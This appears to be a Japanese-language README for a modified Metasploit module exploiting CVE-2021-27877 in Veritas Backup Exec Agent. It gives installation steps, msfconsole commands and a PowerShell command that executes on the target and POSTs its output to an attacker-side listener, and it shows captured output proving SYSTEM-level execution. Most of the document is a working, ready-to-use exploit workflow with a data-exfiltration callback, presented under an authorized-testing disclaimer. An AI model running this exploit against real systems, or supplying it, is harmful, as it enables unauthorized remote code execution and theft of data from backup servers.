
CVE-2021-27877 向けに改変された Rapid7 Metasploit モジュールで、直接コマンド実行をサポートし、信頼性の高い脆弱性検証を実現します。エクスプロイトのワークフロー、モジュールの改変内容、および使用例を説明するドキュメントを含みます。
このリポジトリには、Veritas Backup Exec Agent に影響する CVE-2021-27877 用の、オリジナルの Rapid7 Metasploit モジュールの修正版が含まれています。
私のテストでは、オリジナルの Metasploit モジュールはターゲットを脆弱であると正しく識別しましたが、ペイロード配信段階が成功しなかったため、セッションの確立には一貫して失敗しました。しかし、モジュールを分析したところ、認証と基盤となるコマンド実行機能は正しく動作していることがわかりました。
脆弱性の検証を簡素化するため、ペイロードをアップロードして実行する代わりに、脆弱な NDMP コマンド実行機能を通じてユーザー指定のオペレーティングシステムコマンドを直接実行するようにモジュールを変更しました。これにより、リバースシェルやペイロードのステージングに依存せずに、リモートコード実行をより簡単に確認できます。
免責事項: この概念実証は、教育目的および許可されたセキュリティテスト専用に提供されます。所有しているシステム、または評価する明示的な許可を得たシステムに対してのみ使用してください。
注記: テストで使用した環境を保護するため、このリポジトリ内のすべての IP アドレスは匿名化されています。例全体を通して、
192.168.x.xはターゲットホストを表し、192.168.y.yは攻撃側システムまたはリスナーを表します。これらの置き換えは、概念実証の機能には影響しません。
オリジナルの Rapid7 モジュールと比較して、以下の変更が加えられています。
COMMAND ランタイムオプションを追加しました。修正したモジュールをローカルの Metasploit モジュールディレクトリにコピーします。
cp beagent_sha_auth_rce_custom.rb /usr/share/metasploit-framework/modules/exploits/multi/veritas/
Metasploit を起動(または再起動)し、ローカルモジュールをリロードします:
msfconsole
reload_all
モジュールを実行する前に、HTTP リスナー(または HTTP POST リクエストを受信して表示できる任意の Web サーバー)を起動してください。このリスナーは、ターゲット上で実行されたコマンドの出力を受信します。
たとえば、カスタムリクエストハンドラを備えたシンプルな Python HTTP サーバー、nc、または任意の HTTP リスナーを使用できます。
モジュールをロードします:
use exploit/multi/veritas/beagent_sha_auth_rce_custom
必要なオプションを設定します:
set RHOSTS 192.168.x.x
set RPORT 10000
set COMMAND powershell -Command "$output = whoami; Invoke-WebRequest -Uri 'http://192.168.y.y:8080/' -Method POST -Body $output"
run
COMMAND オプションには、ターゲット上で実行したい任意のコマンドを指定できます。
このモジュールは単一のコマンドを実行するように設計されており、コマンド出力を自動的には返しません。
出力を取得するには、コマンド内で適切なコールバックメカニズム(たとえば、HTTP POST リクエストやその他のアウトバウンドチャネル)を使用し、リスナーを監視してください。
リスナー出力の例:
Listening on 0.0.0.0 8080
Connection received on 192.168.x.x 26006
POST / HTTP/ 1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShe11/5.1.14393.9234
Content-Type: application/x-www-form-urlencoded
Host: 192.168.y.y:8080
Content-Length: 19
Expect: 100-continue
Connection: Keep-Alive
nt authority\system